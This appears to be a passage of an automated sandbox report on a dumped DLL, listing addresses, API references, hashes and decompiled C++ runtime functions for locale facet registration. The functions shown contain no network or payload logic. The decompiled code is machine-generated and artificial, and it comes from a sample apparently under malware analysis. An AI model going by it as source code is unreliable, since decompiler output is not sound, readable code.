0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5
0x6dd1f518
0x6dd1f518
0x6dd1f51b
0x6dd1f51f
0x6dd1f523
0x6dd1f530
0x6dd1f538
0x6dd1f53a
0x00000000
0x6dd1f53a
0x6dd1f501
0x6dd1f501
0x00000000
0x6dd1f501
0x6dd1f4ff

APIs

__EH_prolog3.LIBCMT ref: 6DD1F4C8
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F4D2
int.LIBCPMT ref: 6DD1F4E9

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F523
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F543
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F561

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 52f79fd7de284c09952d4964a5812725ca9d1cdcc0122bb3e2cbc64f59f4591f
Instruction ID: 89c1e37368e9507aa8a6215c7e7d9780f632fe333c205ebecf9791c8782ea8a7
Opcode Fuzzy Hash: 52f79fd7de284c09952d4964a5812725ca9d1cdcc0122bb3e2cbc64f59f4591f
Instruction Fuzzy Hash: F5118C7290C1299BCF01FBA4DC40AADB775EF85324F260109F614AB291EB759A058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FC89, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6DD1FC89(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t55;
				intOrPtr* _t63;
				intOrPtr* _t64;
				void* _t66;

				_t48 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t66 - 0x14, 0);
				_t63 =  *0x6ddd6dd0; // 0x0
				 *(_t66 - 4) =  *(_t66 - 4) & 0x00000000;
				 *((intOrPtr*)(_t66 - 0x10)) = _t63;
				_t27 = E6DCF161C(0x6ddd6d60);
				_t51 =  *((intOrPtr*)(_t66 + 8));
				_t28 = E6DCF171B( *((intOrPtr*)(_t66 + 8)), _t27);
				_t61 = _t28;
				if(_t28 != 0) {
					L5:
					E6DD166BA(_t66 - 0x14);
					return E6DD30075(_t61);
				} else {
					if(_t63 == 0) {
						_push( *((intOrPtr*)(_t66 + 8)));
						_push(_t66 - 0x10);
						__eflags = E6DD2162A(__ebx, _t51, __edx, _t61, _t63) - 0xffffffff;
						if(__eflags == 0) {
							_t55 = _t66 - 0x20;
							E6DCF1438(_t55);
							E6DD33D74(_t66 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd7851f, __ebx, _t61, _t63, 4);
							_t64 = _t55;
							 *((intOrPtr*)(_t66 - 0x10)) = _t64;
							 *((intOrPtr*)(_t64 + 4)) =  *((intOrPtr*)(_t66 + 0xc));
							_push( *((intOrPtr*)(_t66 + 0x14)));
							_t21 = _t66 - 4;
							 *_t21 =  *(_t66 - 4) & 0x00000000;
							__eflags =  *_t21;
							 *_t64 = 0x6dd7c0c4;
							 *((char*)(_t64 + 0x28)) =  *((intOrPtr*)(_t66 + 0x10));
							E6DD2542F(_t48, _t55, __edx, _t61, _t64,  *_t21);
							return E6DD30075(_t64,  *((intOrPtr*)(_t66 + 8)));
						} else {
							_t61 =  *((intOrPtr*)(_t66 - 0x10));
							 *((intOrPtr*)(_t66 - 0x10)) = _t61;
							 *(_t66 - 4) = 1;
							E6DD16FD3(__eflags, _t61);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t61 + 4))))();
							 *0x6ddd6dd0 = _t61;
							goto L5;
						}
					} else {
						_t61 = _t63;
						goto L5;
					}
				}
			}

0x6dd1fc89
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcba
0x6dd1fcbf
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7

APIs

__EH_prolog3.LIBCMT ref: 6DD1FC90
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FC9A
int.LIBCPMT ref: 6DD1FCB1

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1FCEB
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FD0B
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FD29

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 5bb5677664c1f757da020c66686e9ff6f5a811131d0836712c37f099e721db44
Instruction ID: e854eaf39a9146a64e5a1e165e3a3a3edd8e70a5f2ef7a041850e1dac8b37e62
Opcode Fuzzy Hash: 5bb5677664c1f757da020c66686e9ff6f5a811131d0836712c37f099e721db44
Instruction Fuzzy Hash: 2E11AC7290822DCBCF01FBA4EC40AFDB775EF85324F264409F610AB290DB749A018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F41B, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F41B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t209;
				signed int _t210;
				void* _t222;
				void* _t235;
				void* _t248;
				void* _t261;
				void* _t274;
				void* _t287;
				void* _t300;
				void* _t313;
				void* _t326;
				void* _t339;
				void* _t352;
				void* _t365;
				void* _t378;
				signed int _t549;
				signed int _t595;
				signed int _t596;
				signed int _t597;
				signed int _t598;
				signed int _t599;
				signed int _t600;
				signed int _t601;
				signed int _t602;
				signed int _t603;
				signed int _t604;
				signed int _t605;
				signed int _t606;
				signed int _t607;
				signed int _t609;
				signed int _t610;
				signed int _t611;
				signed int _t612;
				signed int _t613;
				signed int _t614;
				signed int _t615;
				signed int _t616;
				signed int _t617;
				signed int _t618;
				signed int _t619;
				signed int _t620;
				signed int _t621;
				signed int _t622;
				signed int _t623;
				void* _t638;

				_t592 = __edx;
				_t451 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t638 - 0x14, 0);
				_t609 =  *0x6ddd6df0; // 0x0
				 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
				 *(_t638 - 0x10) = _t609;
				_t209 = E6DCF161C(0x6ddd6d9c);
				_t454 =  *((intOrPtr*)(_t638 + 8));
				_t210 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t209);
				_t594 = _t210;
				if(_t210 != 0) {
					L5:
					E6DD166BA(_t638 - 0x14);
					return E6DD30075(_t594);
				} else {
					if(_t609 == 0) {
						_push( *((intOrPtr*)(_t638 + 8)));
						_push(_t638 - 0x10);
						__eflags = E6DD21057(__ebx, _t454, __edx, _t594, _t609) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t638 - 0x20);
							E6DD33D74(_t638 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t594, _t609, 0x14);
							E6DD16653(_t638 - 0x14, 0);
							_t610 =  *0x6ddd6dc0; // 0x0
							 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
							 *(_t638 - 0x10) = _t610;
							_t222 = E6DCF161C(0x6ddd6d74);
							_t461 =  *((intOrPtr*)(_t638 + 8));
							_t595 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t222);
							__eflags = _t595;
							if(_t595 != 0) {
								L12:
								E6DD166BA(_t638 - 0x14);
								return E6DD30075(_t595);
							} else {
								__eflags = _t610;
								if(_t610 == 0) {
									_push( *((intOrPtr*)(_t638 + 8)));
									_push(_t638 - 0x10);
									__eflags = E6DD210BF(_t451, _t461, __edx, _t595, _t610) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t638 - 0x20);
										E6DD33D74(_t638 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t451, _t595, _t610, 0x14);
										E6DD16653(_t638 - 0x14, 0);
										_t611 =  *0x6ddd6df8; // 0x0
										 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
										 *(_t638 - 0x10) = _t611;
										_t235 = E6DCF161C(0x6ddd6da4);
										_t468 =  *((intOrPtr*)(_t638 + 8));
										_t596 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t235);
										__eflags = _t596;
										if(_t596 != 0) {
											L19:
											E6DD166BA(_t638 - 0x14);
											return E6DD30075(_t596);
										} else {
											__eflags = _t611;
											if(_t611 == 0) {
												_push( *((intOrPtr*)(_t638 + 8)));
												_push(_t638 - 0x10);
												__eflags = E6DD21127(_t451, _t468, __edx, _t596, _t611) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t638 - 0x20);
													E6DD33D74(_t638 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t451, _t596, _t611, 0x14);
													E6DD16653(_t638 - 0x14, 0);
													_t612 =  *0x6ddd6df4; // 0x0
													 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
													 *(_t638 - 0x10) = _t612;
													_t248 = E6DCF161C(0x6ddd6da0);
													_t475 =  *((intOrPtr*)(_t638 + 8));
													_t597 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t248);
													__eflags = _t597;
													if(_t597 != 0) {
														L26:
														E6DD166BA(_t638 - 0x14);
														return E6DD30075(_t597);
													} else {
														__eflags = _t612;
														if(_t612 == 0) {
															_push( *((intOrPtr*)(_t638 + 8)));
															_push(_t638 - 0x10);
															__eflags = E6DD211AB(_t451, _t475, _t592, _t597, _t612) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t638 - 0x20);
																E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t451, _t597, _t612, 0x14);
																E6DD16653(_t638 - 0x14, 0);
																_t613 =  *0x6ddd6dc8; // 0x0
																 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
																 *(_t638 - 0x10) = _t613;
																_t261 = E6DCF161C(0x6ddd6d7c);
																_t482 =  *((intOrPtr*)(_t638 + 8));
																_t598 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t261);
																__eflags = _t598;
																if(_t598 != 0) {
																	L33:
																	E6DD166BA(_t638 - 0x14);
																	return E6DD30075(_t598);
																} else {
																	__eflags = _t613;
																	if(_t613 == 0) {
																		_push( *((intOrPtr*)(_t638 + 8)));
																		_push(_t638 - 0x10);
																		__eflags = E6DD21230(_t451, _t482, _t592, _t598, _t613) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t638 - 0x20);
																			E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t451, _t598, _t613, 0x14);
																			E6DD16653(_t638 - 0x14, 0);
																			_t614 =  *0x6ddd6dc4; // 0x0
																			 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
																			 *(_t638 - 0x10) = _t614;
																			_t274 = E6DCF161C(0x6ddd6d78);
																			_t489 =  *((intOrPtr*)(_t638 + 8));
																			_t599 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t274);
																			__eflags = _t599;
																			if(_t599 != 0) {
																				L40:
																				E6DD166BA(_t638 - 0x14);
																				return E6DD30075(_t599);
																			} else {
																				__eflags = _t614;
																				if(_t614 == 0) {
																					_push( *((intOrPtr*)(_t638 + 8)));
																					_push(_t638 - 0x10);
																					__eflags = E6DD212B4(_t451, _t489, _t592, _t599, _t614) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t638 - 0x20);
																						E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t451, _t599, _t614, 0x14);
																						E6DD16653(_t638 - 0x14, 0);
																						_t615 =  *0x6ddd6dd8; // 0x0
																						 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
																						 *(_t638 - 0x10) = _t615;
																						_t287 = E6DCF161C(0x6ddd6d84);
																						_t496 =  *((intOrPtr*)(_t638 + 8));
																						_t600 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t287);
																						__eflags = _t600;
																						if(_t600 != 0) {
																							L47:
																							E6DD166BA(_t638 - 0x14);
																							return E6DD30075(_t600);
																						} else {
																							__eflags = _t615;
																							if(_t615 == 0) {
																								_push( *((intOrPtr*)(_t638 + 8)));
																								_push(_t638 - 0x10);
																								__eflags = E6DD21339(_t451, _t496, _t592, _t600, _t615) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t638 - 0x20);
																									E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t451, _t600, _t615, 0x14);
																									E6DD16653(_t638 - 0x14, 0);
																									_t616 =  *0x6ddd6db0; // 0x0
																									 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
																									 *(_t638 - 0x10) = _t616;
																									_t300 = E6DCF161C(0x6ddd6d64);
																									_t503 =  *((intOrPtr*)(_t638 + 8));
																									_t601 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t300);
																									__eflags = _t601;
																									if(_t601 != 0) {
																										L54:
																										E6DD166BA(_t638 - 0x14);
																										return E6DD30075(_t601);
																									} else {
																										__eflags = _t616;
																										if(_t616 == 0) {
																											_push( *((intOrPtr*)(_t638 + 8)));
																											_push(_t638 - 0x10);
																											__eflags = E6DD213A1(_t451, _t503, _t592, _t601, _t616) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t638 - 0x20);
																												E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t451, _t601, _t616, 0x14);
																												E6DD16653(_t638 - 0x14, 0);
																												_t617 =  *0x6ddd6ddc; // 0x0
																												 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
																												 *(_t638 - 0x10) = _t617;
																												_t313 = E6DCF161C(0x6ddd6d88);
																												_t510 =  *((intOrPtr*)(_t638 + 8));
																												_t602 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t313);
																												__eflags = _t602;
																												if(_t602 != 0) {
																													L61:
																													E6DD166BA(_t638 - 0x14);
																													return E6DD30075(_t602);
																												} else {
																													__eflags = _t617;
																													if(_t617 == 0) {
																														_push( *((intOrPtr*)(_t638 + 8)));
																														_push(_t638 - 0x10);
																														__eflags = E6DD21409(_t451, _t510, _t592, _t602, _t617) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t638 - 0x20);
																															E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t451, _t602, _t617, 0x14);
																															E6DD16653(_t638 - 0x14, 0);
																															_t618 =  *0x6ddd6de0; // 0x0
																															 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
																															 *(_t638 - 0x10) = _t618;
																															_t326 = E6DCF161C(0x6ddd6d8c);
																															_t517 =  *((intOrPtr*)(_t638 + 8));
																															_t603 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t326);
																															__eflags = _t603;
																															if(_t603 != 0) {
																																L68:
																																E6DD166BA(_t638 - 0x14);
																																return E6DD30075(_t603);
																															} else {
																																__eflags = _t618;
																																if(_t618 == 0) {
																																	_push( *((intOrPtr*)(_t638 + 8)));
																																	_push(_t638 - 0x10);
																																	__eflags = E6DD21471(_t451, _t517, _t592, _t603, _t618) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t638 - 0x20);
																																		E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t451, _t603, _t618, 0x14);
																																		E6DD16653(_t638 - 0x14, 0);
																																		_t619 =  *0x6ddd6dfc; // 0x0
																																		 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
																																		 *(_t638 - 0x10) = _t619;
																																		_t339 = E6DCF161C(0x6ddd6da8);
																																		_t524 =  *((intOrPtr*)(_t638 + 8));
																																		_t604 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t339);
																																		__eflags = _t604;
																																		if(_t604 != 0) {
																																			L75:
																																			E6DD166BA(_t638 - 0x14);
																																			return E6DD30075(_t604);
																																		} else {
																																			__eflags = _t619;
																																			if(_t619 == 0) {
																																				_push( *((intOrPtr*)(_t638 + 8)));
																																				_push(_t638 - 0x10);
																																				__eflags = E6DD214EC(_t451, _t524, _t592, _t604, _t619) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t638 - 0x20);
																																					E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t451, _t604, _t619, 0x14);
																																					E6DD16653(_t638 - 0x14, 0);
																																					_t620 =  *0x6ddd6dcc; // 0x0
																																					 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
																																					 *(_t638 - 0x10) = _t620;
																																					_t352 = E6DCF161C(0x6ddd6d80);
																																					_t531 =  *((intOrPtr*)(_t638 + 8));
																																					_t605 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t352);
																																					__eflags = _t605;
																																					if(_t605 != 0) {
																																						L82:
																																						E6DD166BA(_t638 - 0x14);
																																						return E6DD30075(_t605);
																																					} else {
																																						__eflags = _t620;
																																						if(_t620 == 0) {
																																							_push( *((intOrPtr*)(_t638 + 8)));
																																							_push(_t638 - 0x10);
																																							__eflags = E6DD21558(_t451, _t531, _t592, _t605, _t620) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t638 - 0x20);
																																								E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t451, _t605, _t620, 0x14);
																																								E6DD16653(_t638 - 0x14, 0);
																																								_t621 =  *0x6ddd6e00; // 0x0
																																								 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
																																								 *(_t638 - 0x10) = _t621;
																																								_t365 = E6DCF161C(0x6ddd6dac);
																																								_t538 =  *((intOrPtr*)(_t638 + 8));
																																								_t606 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t365);
																																								__eflags = _t606;
																																								if(_t606 != 0) {
																																									L89:
																																									E6DD166BA(_t638 - 0x14);
																																									return E6DD30075(_t606);
																																								} else {
																																									__eflags = _t621;
																																									if(_t621 == 0) {
																																										_push( *((intOrPtr*)(_t638 + 8)));
																																										_push(_t638 - 0x10);
																																										__eflags = E6DD215C4(_t451, _t538, _t592, _t606, _t621) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t638 - 0x20);
																																											E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t451, _t606, _t621, 0x14);
																																											E6DD16653(_t638 - 0x14, 0);
																																											_t622 =  *0x6ddd6dd0; // 0x0
																																											 *(_t638 - 4) =  *(_t638 - 4) & 0x00000000;
																																											 *(_t638 - 0x10) = _t622;
																																											_t378 = E6DCF161C(0x6ddd6d60);
																																											_t545 =  *((intOrPtr*)(_t638 + 8));
																																											_t607 = E6DCF171B( *((intOrPtr*)(_t638 + 8)), _t378);
																																											__eflags = _t607;
																																											if(_t607 != 0) {
																																												L96:
																																												E6DD166BA(_t638 - 0x14);
																																												return E6DD30075(_t607);
																																											} else {
																																												__eflags = _t622;
																																												if(_t622 == 0) {
																																													_push( *((intOrPtr*)(_t638 + 8)));
																																													_push(_t638 - 0x10);
																																													__eflags = E6DD2162A(_t451, _t545, _t592, _t607, _t622) - 0xffffffff;
																																													if(__eflags == 0) {
																																														_t549 = _t638 - 0x20;
																																														E6DCF1438(_t549);
																																														E6DD33D74(_t638 - 0x20, 0x6ddd3504);
																																														asm("int3");
																																														E6DD300AC(0x6dd7851f, _t451, _t607, _t622, 4);
																																														_t623 = _t549;
																																														 *(_t638 - 0x10) = _t623;
																																														 *((intOrPtr*)(_t623 + 4)) =  *((intOrPtr*)(_t638 + 0xc));
																																														_push( *((intOrPtr*)(_t638 + 0x14)));
																																														_t203 = _t638 - 4;
																																														 *_t203 =  *(_t638 - 4) & 0x00000000;
																																														__eflags =  *_t203;
																																														 *_t623 = 0x6dd7c0c4;
																																														 *((char*)(_t623 + 0x28)) =  *((intOrPtr*)(_t638 + 0x10));
																																														E6DD2542F(_t451, _t549, _t592, _t607, _t623,  *_t203);
																																														return E6DD30075(_t623,  *((intOrPtr*)(_t638 + 8)));
																																													} else {
																																														_t607 =  *(_t638 - 0x10);
																																														 *(_t638 - 0x10) = _t607;
																																														 *(_t638 - 4) = 1;
																																														E6DD16FD3(__eflags, _t607);
																																														 *0x6dd7a26c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t607 + 4))))();
																																														 *0x6ddd6dd0 = _t607;
																																														goto L96;
																																													}
																																												} else {
																																													_t607 = _t622;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t606 =  *(_t638 - 0x10);
																																											 *(_t638 - 0x10) = _t606;
																																											 *(_t638 - 4) = 1;
																																											E6DD16FD3(__eflags, _t606);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t606 + 4))))();
																																											 *0x6ddd6e00 = _t606;
																																											goto L89;
																																										}
																																									} else {
																																										_t606 = _t621;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t605 =  *(_t638 - 0x10);
																																								 *(_t638 - 0x10) = _t605;
																																								 *(_t638 - 4) = 1;
																																								E6DD16FD3(__eflags, _t605);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t605 + 4))))();
																																								 *0x6ddd6dcc = _t605;
																																								goto L82;
																																							}
																																						} else {
																																							_t605 = _t620;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t604 =  *(_t638 - 0x10);
																																					 *(_t638 - 0x10) = _t604;
																																					 *(_t638 - 4) = 1;
																																					E6DD16FD3(__eflags, _t604);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t604 + 4))))();
																																					 *0x6ddd6dfc = _t604;
																																					goto L75;
																																				}
																																			} else {
																																				_t604 = _t619;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t603 =  *(_t638 - 0x10);
																																		 *(_t638 - 0x10) = _t603;
																																		 *(_t638 - 4) = 1;
																																		E6DD16FD3(__eflags, _t603);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t603 + 4))))();
																																		 *0x6ddd6de0 = _t603;
																																		goto L68;
																																	}
																																} else {
																																	_t603 = _t618;
																																	goto L68;
																																}
																															}
																														} else {
																															_t602 =  *(_t638 - 0x10);
																															 *(_t638 - 0x10) = _t602;
																															 *(_t638 - 4) = 1;
																															E6DD16FD3(__eflags, _t602);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t602 + 4))))();
																															 *0x6ddd6ddc = _t602;
																															goto L61;
																														}
																													} else {
																														_t602 = _t617;
																														goto L61;
																													}
																												}
																											} else {
																												_t601 =  *(_t638 - 0x10);
																												 *(_t638 - 0x10) = _t601;
																												 *(_t638 - 4) = 1;
																												E6DD16FD3(__eflags, _t601);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t601 + 4))))();
																												 *0x6ddd6db0 = _t601;
																												goto L54;
																											}
																										} else {
																											_t601 = _t616;
																											goto L54;
																										}
																									}
																								} else {
																									_t600 =  *(_t638 - 0x10);
																									 *(_t638 - 0x10) = _t600;
																									 *(_t638 - 4) = 1;
																									E6DD16FD3(__eflags, _t600);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t600 + 4))))();
																									 *0x6ddd6dd8 = _t600;
																									goto L47;
																								}
																							} else {
																								_t600 = _t615;
																								goto L47;
																							}
																						}
																					} else {
																						_t599 =  *(_t638 - 0x10);
																						 *(_t638 - 0x10) = _t599;
																						 *(_t638 - 4) = 1;
																						E6DD16FD3(__eflags, _t599);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t599 + 4))))();
																						 *0x6ddd6dc4 = _t599;
																						goto L40;
																					}
																				} else {
																					_t599 = _t614;
																					goto L40;
																				}
																			}
																		} else {
																			_t598 =  *(_t638 - 0x10);
																			 *(_t638 - 0x10) = _t598;
																			 *(_t638 - 4) = 1;
																			E6DD16FD3(__eflags, _t598);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t598 + 4))))();
																			 *0x6ddd6dc8 = _t598;
																			goto L33;
																		}
																	} else {
																		_t598 = _t613;
																		goto L33;
																	}
																}
															} else {
																_t597 =  *(_t638 - 0x10);
																 *(_t638 - 0x10) = _t597;
																 *(_t638 - 4) = 1;
																E6DD16FD3(__eflags, _t597);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t597 + 4))))();
																 *0x6ddd6df4 = _t597;
																goto L26;
															}
														} else {
															_t597 = _t612;
															goto L26;
														}
													}
												} else {
													_t596 =  *(_t638 - 0x10);
													 *(_t638 - 0x10) = _t596;
													 *(_t638 - 4) = 1;
													E6DD16FD3(__eflags, _t596);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t596 + 4))))();
